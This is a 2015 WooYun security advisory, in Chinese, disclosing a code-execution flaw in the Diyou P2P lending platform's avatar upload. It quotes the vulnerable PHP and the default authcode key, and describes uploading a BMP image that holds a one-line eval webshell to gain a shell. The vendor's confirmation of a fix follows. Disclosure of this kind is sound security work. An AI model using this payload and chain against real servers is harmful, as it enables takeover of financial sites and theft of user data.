当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118730

漏洞标题:帝友P2P借贷系统某处代码执行漏洞

相关厂商:厦门帝网信息科技有限公司

漏洞作者: Rtsjx

提交时间:2015-06-07 11:31

修复时间:2015-09-09 11:32

公开时间:2015-09-09 11:32

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-07: 细节已通知厂商并且等待厂商处理中
2015-06-11: 厂商已经确认,细节仅向厂商公开
2015-06-14: 细节向第三方安全合作伙伴开放
2015-08-05: 细节向核心白帽子及相关领域专家公开
2015-08-15: 细节向普通白帽子公开
2015-08-25: 细节向实习白帽子公开
2015-09-09: 细节向公众公开

简要描述:

唉……这代码质量,顿时给跪下了。

详细说明:

这个洞洞需要结合上次爆的默认密钥一起来爽。
====================上集回顾====================
帝友在整个程序中使用了自定义的对称加密方式(通常被定义为authcode或类似名称),而如果不显式指定或修改源码,函数将会调用默认密钥。这是本漏洞触发的前置条件。
===================上集回顾完===================
随着审计工作的愉快进行,我发现到/plugins/avatar/avatar.class.php中一个方法长得很有趣:

function onuploadavatar() {
@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");
$this->init_input($this->getgpc('agent', 'G'));
$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype; //【这里拼合了$uid和$filetype两个变量作为move_uploaded_file的参数】
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}


我们重点来关心$uid和$filetype是否可控。
$uid赋值来自于

$uid = $this->input('uid');


而$filetype则来自于$imgtype数组中的元素。

$filetype = $imgtype[$type]


首先来看input方法:

function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}


input方法只是简单的返回了当前对象的input属性数组中对应元素或者null。我们可以发现,在onuploadavatar方法中,init_input方法会被调用。而这个init_input方法干了啥事儿:

function init_input($getagent = '') {
$input = $this->getgpc('input', 'R'); //【这里直接引用了用户传递进来的input参数】
if($input) {
$input = $this->authcode($input, 'DECODE', 'deck'); //【全国人民喜闻乐见的authcode出现了!这里指定了默认密钥deck!】
parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}


看到authcode我就放心的知道,这里存在默认密钥的利用点。换句话说,被init_input解码的参数如果来自于用户,则在未修改此处代码的情况下【可控】。
这时候,如果这个点要能被利用,那么还需要满足后缀可控。但是,程序中使用了一个不是来自用户的变量(依据getimagesize函数返回值)去向$filetype赋值,而且强制指定了jpg/png/gif三种扩展名。
我们来到世界上最好的语言PHP的官网上查找getimagesize的说明。机智的我发现了这一点:

getimagesize


getimagesize除了能识别jpg/png/gif之外还他喵的能处理其他多种类型的图片。于是,我进行这些尝试:

bmp


tif


可以发现,如果使用bmp或者tif的图片文件可以让getimagesize返回值数组的第三个元素不落在$imgtype的键名中。
在PHP中,拼合一个不存在键名的数组元素等于拼合空数组。
此时,PoC可以使用以下方式构造:
$uid = (解码后)fuckyou.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
{打个码吧,免得太直白了}?m=user&inajax=1&a=uploadavatar&appid=1&input={啦啦啦不告诉你}&agent=hahahahahahah&avatartype=virtual
提交上传请求,接着访问一下,哟吼~

Webshell


(P.S:由于帝友使用了加密参数,所有这个洞能bypass掉各种waf,自带打狗棒的节奏不能更爽……)

漏洞证明:

Webshell

修复方案:

自求多福。

版权声明:转载请注明来源 Rtsjx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-11 11:31

厂商回复:

您好,非常感谢您检测的帝友P2P借贷系统某处代码执行漏洞,您的报告发出后,我司技术人员第一时间对帝友旗下所有系统进行逐个排查,确认了该漏洞是来自帝友P2P网络借贷系统V3版。该漏洞是由于$uid和$filetype逻辑上的不严谨,通过构造$uid和用其他格式图片植入php代码即可绕过,就可以上传一个php文件,经过紧急处理后,现在已修复完毕。
在此,也感谢您上次检查出的帝友P2P系统支付密码重置的问题。该漏洞早在2015年1月1日我司已经修复并联系客户更新,由于对乌云网的操作流程不了解,误采取了“忽略处理”,这是我司考虑不够周全,深表歉意。
我们会加强漏洞的排查,将系统安全放在第一位。欢迎您继续对我们的系统进行检测,大众的监督是我们前进的助力。

最新状态:

暂无